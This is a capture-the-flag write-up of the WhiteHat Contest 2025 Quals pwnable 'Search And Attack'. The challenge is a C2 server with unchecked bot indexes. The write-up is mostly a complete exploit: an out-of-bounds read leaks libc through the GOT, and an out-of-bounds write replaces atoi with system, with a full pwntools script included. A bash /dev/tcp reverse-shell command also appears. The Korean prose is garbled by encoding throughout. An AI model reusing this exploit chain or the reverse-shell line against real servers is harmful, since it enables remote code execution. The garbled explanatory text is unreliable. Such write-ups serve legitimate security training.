WhiteHat Contest 2025 Quals - Search And Attack
๋ชฉ์ฐจ
WhiteHat Contest 2025 Quals pwnable challenge ์คํ ํ์ผ์ ์๋ฒ์ ์
์ฑ์ฝ๋(์๋ง๋), ์์ค์ฝ๋์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ์ด ์ ๊ณต๋๋ค. ์ฒ์์ ์
์ฑ์ฝ๋๋ก ์ถ์ ๋๋ C2 ์๋ฒ ํ์ผ์ธ ์ค๋๋ง์ docker ํ๊ฒฝ์ด ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ์ด ์ฃผ์ด์ ธ ๊ฒฐ๊ตญ pwninit์ด๋ผ๋ ํด์ ์ฐพ์ ํด๊ฒฐํ๋ค. ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ์ ๋ก๋ํ ์ ์๋ ๋ก๋๋ฅผ ์ฐพ์ ๋ค์ด๋ฐ์ ๋ฟ๋ง ์๋๋ผ ๋ฐ์ด๋๋ฆฌ๋ฅผ ํจ์นํด์ ์ฃผ์ด์ง ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ก๋ํ๊ฒ ๋ณ๊ฒฝํด์ค๋ค. ๊ต์ฅํ ๊ฐ๋จํ๋ฐ ๊ฐ๋ ฅํ ๋๊ตฌ์ธ ๊ฒ ๊ฐ๋ค. C2 ์๋ฒ ํ์ผ์ ์คํํ๋ฉด ์์ ๊ฐ์ด 8080 ํฌํธ๋ฅผ ์ด๊ณ ๋๊ธฐํ๋ค. ์ดํ C2 ํ๋กํ ์ฝ์ ๋ง๋ ์์ฒญ์ด ์์ ๋ ๊ทธ์ ํด๋นํ๋ ๋ก์ง์ ์ํํ๋ค. ์ฝ๋๊ฐ ์ฝ 500์ค์ ๋ ๋๋๋ฐ ํ๋์ ์ทจ์ฝ์ ์ผ๋ก exploit์ ์ฑ๊ณตํด์ ๋ค๋ฅธ ์ทจ์ฝ์ ์ด ์์ ์๋ ์๋ค. ์ต๋ ์ฐ์ OOB read๋ฅผ ํ์ฉํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค. ์ด ๋ ์ถ๋ ฅ๋๋ ๋ด์ฉ์ ๋ค์๊ณผ ๊ฐ๋ค. ์ด๋ ๊ฒ GOT ์์ญ์ ํตํด libc ์ฃผ์๊ฐ ์ถ๋ ฅ๋๋ค. ์ถ๋ ฅ๋ ์ฃผ์๋ ๋ฐ๋ผ์ ์ด ์ค์๋ค์ ์ฝ๋๋ฅผ ์ ๋ณด๋ฉด ํ์ง ์์์ ๊ฒ์ด๋ผ์ ํผ๋๋ฐฑ ์ฐจ์์ผ๋ก ๊ธฐ๋กํ๋ค. ์๋ฌดํผ OOB write๋ฅผ ์ด์ฉํด GOT overwrite๋ฅผ ํ๊ธฐ ์ํด ์ ํจ์๋ค ์ค ์ธ์์ ์
๋ ฅ์ ๋ฃ๊ธฐ ์ข์ ํจ์๋ฅผ ์ฐพ์๋ณด์๋๋ฐ, ์๋ฒ์ ์ ๋ฌ๋๋ ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค. ์ฌ๊ธฐ์์๋ 0x00. Introduction
โ tree .
.
โโโ 8f7c31c3010792cd92b452ac7223128f64189e61ee52fedc107c87a3408a66e9
โโโ cnc
โโโ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
โโโ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2.c
โโโ libc.so.68f7c ํ์ผ์ ๋ถ์ํด์ผ ํ๋ ์ถ์๋๋ฐ, ๊ฒฐ๊ตญ์๋ ๋ฌธ์ ์ ์ ํ ๊ด๋ จ์ด ์์๋ค.[*] '/home/user/cnc/39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No39fd์ ์ ์ฉ๋ ๋ณดํธ๊ธฐ๋ฒ์ ์์ ๊ฐ๋ค. Environment
LD_PRELOAD๋ฅผ ํ๋ ค๊ณ ํ๋๋ฐ, ๋งํน์ด ์ ์๋๋ค. Concept
โ ./39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
[*] Starting server on port 8080...
[*] Server listening on port 8080 0x01. Vulnerability
void update_bot(int bot_id, const char* data, size_t data_size) {
pthread_mutex_lock(&bots_mutex);
int index = bot_id;
int field_count = 0;
...
while (*ptr && field_count < 8) {
if (*ptr == '|') {
*ptr = '\0';
fields[field_count++] = start;
start = ptr + 1;
}
ptr++;
}
if (field_count < 8) {
fields[field_count++] = start;
}
if (field_count > 0 && strlen(fields[0]) > 0)
memcpy(bots[index].hostname, fields[0], MAX_BUFFER_LEN - 1);
if (field_count > 1 && strlen(fields[1]) > 0)
memcpy(bots[index].username, fields[1], MAX_BUFFER_LEN - 1);
...
printf("[*] Bot updated: ID=%d\n", bot_id);
pthread_mutex_unlock(&bots_mutex);
}
void detail_bot(int bot_id, int client_socket) {
pthread_mutex_lock(&bots_mutex);
char response[BUFFER_SIZE * 4] = {0};
int index = bot_id;
snprintf(response, sizeof(response),
"BOT_DETAIL|%d|%.255s|%.255s|%.15s|%.15s|%.255s|%.255s|%.63s|%.63s|%ld\n",
bots[index].id,
bots[index].hostname,
bots[index].username,
bots[index].public_ip,
bots[index].private_ip,
bots[index].os_info,
bots[index].cpu_info,
bots[index].ram_info,
bots[index].disk_info,
bots[index].last_seen);
send(client_socket, response, strlen(response), 0);
pthread_mutex_unlock(&bots_mutex);
}update_bot๊ณผ detail_bot์์ index์ ๋ํ ๊ฒ์ฆ์ ํ์ง ์๊ธฐ ๋๋ฌธ์ ๊ฐ๊ฐ OOB write, OOB read ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค. 0x02. Exploit
OOB Read
bots์ ๊ฐ์์ธ MAX_BOTS๊ฐ 1000์ด๋ ๋๊ธฐ ๋๋ฌธ์ bots์ ๋ค ์์ญ๋ณด๋ค๋ ์ ์์ญ์ ๊ด์ฌ์ด ๊ฐ๋ค. s.sendline(b"DETAIL|-1")
r = s.recv().split(b"|")[1:]
for o, f in zip(order, r):
print(f"{o} : {f}, len {len(f)}")id : b'0', len 1
hostname : b'', len 0
username : b'', len 0
public_ip : b'XXXXXXXXXXXXXXX', len 15
private_ip : b'XXXXXXXXXXXXXXX', len 15
os_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 255
cpu_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 32
ram_info : b'\xa0\x95\xd3\xf7\xff\x7f', len 6
disk_info : b'P\xec\xd0\xf7\xff\x7f', len 6
last_seen : b'0\n', len 2ram_info์ disk_info๋ฅผ ๋ณด๋ฉด libc ์ฃผ์๊ฐ ์ป์ด์ง๋ค. bots ์ ์์ญ์ ํด๋นํ๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ถ๋ ฅํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.gefโค x/46gx 0x0000000000406000
0x406000 <free@got.plt>: 0x00007ffff7cadd30 0x00007ffff7d2bbe0
0x406010 <puts@got.plt>: 0x0000000000401050 0x00007ffff7d2c180
0x406020 <inet_ntoa@got.plt>: 0x00007ffff7d3c400 0x00007ffff7d2ba30
0x406030 <strlen@got.plt>: 0x00007ffff7d8b780 0x00000000004010a0
0x406040 <htons@got.plt>: 0x00007ffff7d395a0 0x00007ffff7d2bec0
0x406050 <printf@got.plt>: 0x00007ffff7c60100 0x00007ffff7c66370
0x406060 <memset@got.plt>: 0x00007ffff7d89440 0x0000000000401100
0x406070 <strcmp@got.plt>: 0x00007ffff7d8afd0 0x00007ffff7c451a0
0x406080 <memcpy@got.plt>: 0x00007ffff7d88a40 0x00007ffff7fc3a40
0x406090 <select@got.plt>: 0x00007ffff7d26bc0 0x00007ffff7ca1a70
0x4060a0 <malloc@got.plt>: 0x00007ffff7cad650 0x00007ffff7c9dc70
0x4060b0 <listen@got.plt>: 0x00007ffff7d2bb50 0x00007ffff7d395a0
0x4060c0 <bind@got.plt>: 0x00007ffff7d2b960 0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>: 0x00007ffff7c28a93 0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>: 0x00007ffff7d2b820 0x00007ffff7c58750
0x4060f0 <strcat@got.plt>: 0x007ffff7d0ec507c 0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>: 0x00007ffff7c9fff0 0x00007ffff7d2c310
0x406110: 0x0000000000000000 0x0000000000000000
0x406120 <server_running>: 0x0000000000000001 0x0000000000000000
0x406130: 0x0000000000000000 0x00000000691bb9f6
0x406140 <completed.0>: 0x0000000000000000 0x0000000000000000
0x406150: 0x0000000000000000 0x0000000000000000
0x406160 <bots>: 0x0000000000000000 0x0000000000000000ntohs์ sleep์ libc ์ฃผ์์ด๋ค. OOB Write
update_bot์ ์ด์ฉํด GOT overwrite ์๋๋ฆฌ์ค๋ฅผ ์๊ฐํ๋๋ฐ, ๊ทธ ๊ณผ์ ์์ ๋ ๊ฐ์ง ์ค์๊ฐ ์์๋ค.r ๊ถํ๋ง ์๊ธฐ ๋๋ฌธ์ hostname, username ๋ฑ์ ์ฐ๋ ๊ณผ์ ์์ Segmentation Fault๊ฐ ๋ฐ์ํจntohs์ sleep์ GOT๋ฅผ overwriteํ๋ ค๊ณ ํจif (field_count > 6 && strlen(fields[6]) > 0)
memcpy(bots[bot_index].ram_info, fields[6], MAX_IO_INFO_BUFFER_LEN - 1);strlen(field[i]) > 0์ผ ๋๋ง memcpy๋ฅผ ํ๊ธฐ ๋๋ฌธ์ field[i]๋ฅผ ๋น์๋๋ฉด hostname, username์ ์ฐ๋ ๊ณผ์ ์ ์คํตํ ์ ์์memcpy๋ก ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํต์งธ๋ก ๋ณต์ฌํ๊ธฐ ๋๋ฌธ์ ๊ตณ์ด ntohs๋ sleep์ด ์๋ ๋ค์ ์๋ ๋ค๋ฅธ ํจ์์ GOT๋ฅผ overwriteํด๋ ๋จntohs ์ดํ์ GOT๋ค์ ์ถ๋ ฅํด๋ณด์๋ค.0x4060b8 <ntohs@got.plt>: 0x00007ffff7d395a0
0x4060c0 <bind@got.plt>: 0x00007ffff7d2b960
0x4060c8 <pthread_create@got.plt>: 0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>: 0x00007ffff7c28a93
0x4060d8 <strtok@got.plt>: 0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>: 0x00007ffff7d2b820
0x4060e8 <atoi@got.plt>: 0x00007ffff7c58750
0x4060f0 <strcat@got.plt>: 0x007ffff7d0ec507c
0x4060f8 <sleep@got.plt>: 0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>: 0x00007ffff7c9fff0
0x406108 <socket@got.plt>: 0x00007ffff7d2c310
0x406110: 0x0000000000000000
0x406118: 0x0000000000000000
0x406120 <server_running>: 0x0000000000000001atoi๊ฐ ์ข์๋ณด์๋ค.void* handle_client(void* arg) {
...
else if (strcmp(cmd, CMD_DELETE) == 0) {
char *bot_id_str = strtok(NULL, "|");
if (bot_id_str) {
int bot_id = atoi(bot_id_str);
delete_bot(bot_id);
char response[] = "DELETED|OK\n";
send(client_socket, response, strlen(response), 0);
}
}
...
}DELETE| ์ดํ์ ์๋ ๋ฌธ์์ด์ด ๊ทธ๋๋ก bot_id_str์ ๋ค์ด๊ฐ๊ธฐ ๋๋ฌธ์ atoi์ GOT๋ฅผ system์ ์ฃผ์๋ก ๋ฐ๊ฟจ์ ๊ฒฝ์ฐ ์ธ์๋ฅผ ์ ๋ฌํด์ฃผ๊ธฐ ๋งค์ฐ ํธ๋ฆฌํ๋ค. ์ด ๋ ๋ค๋ฅธ ํจ์๋ค์ GOT๋ฅผ ๊ฑด๋ค์ด๋ฉด ์๋ฌ๊ฐ ๋ ํ๋ฅ ์ด ๋๊ธฐ ๋๋ฌธ์ ๊ธฐ์กด ๊ฐ๋ค์ ์ ์งํด์ค์ผ ํ๋ค. payload = b"UPDATE|-1|"
payload += b"|" * 6
payload += p64(libc_base + lib.symbols['ntohs'])
payload += p64(libc_base + lib.symbols['bind'])
payload += p64(libc_base + lib.symbols['pthread_create'])
payload += p64(libc_base + lib.symbols['perror'])
payload += p64(libc_base + lib.symbols['strtok'])
payload += p64(libc_base + lib.symbols['accept'])
payload += p64(libc_base + lib.symbols['system']) # atoi
payload += b"|"
payload += p64(sleep_addr)
s.sendline(payload)
print(s.recv())
payload = b"DELETE|"
payload += b"/bin/sh"
s.sendline(payload)
print(p.recv())system์ ์ธ์๋ก /bin/sh๋ฅผ ์ ๋ฌํด๋ ์ถฉ๋ถํ๋๋ฐ, ํ๊ฒฝ์ ๋ฐ๋ผ์๋ ๋ค์๊ณผ ๊ฐ์ ์ธ์๊ฐ ํ์ํ ์๋ ์๋ค.bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1' 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2_patched"
LIBRARY = "libc.so.6"
CONTAINER = ""
code_base = 0x555555554000
bp = {
'main' : code_base + 0x16ae,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
p = process(BINARY)
if debug:
gdb.attach(p, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
order = ["id", "hostname", "username", "public_ip", "private_ip", "os_info", "cpu_info", "ram_info", "disk_info", "last_seen"]
print(p.recvuntil(b"8080\n"))
s = remote("127.0.0.1", 8080)
s.sendline(b"DETAIL|-1")
r = s.recv().split(b"|")[1:]
for o, f in zip(order, r):
print(f"{o} : {f}, len {len(f)}")
ntohs_addr = u64(r[-3] + b"\x00\x00")
sleep_addr = u64(r[-2] + b"\x00\x00")
libc_base = sleep_addr - lib.symbols['sleep']
log.info(f"ntohs_addr : {hex(ntohs_addr)}")
log.info(f"sleep_addr : {hex(sleep_addr)}")
log.info(f"libc_base : {hex(libc_base)}")
payload = b"UPDATE|-1|"
payload += b"|" * 6
payload += p64(libc_base + lib.symbols['ntohs'])
payload += p64(libc_base + lib.symbols['bind'])
payload += p64(libc_base + lib.symbols['pthread_create'])
payload += p64(libc_base + lib.symbols['perror'])
payload += p64(libc_base + lib.symbols['strtok'])
payload += p64(libc_base + lib.symbols['accept'])
payload += p64(libc_base + lib.symbols['system']) # atoi
payload += b"|"
payload += p64(sleep_addr)
s.sendline(payload)
print(s.recv())
payload = b"DELETE|"
payload += b"/bin/sh"
s.sendline(payload)
print(p.recv())
p.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)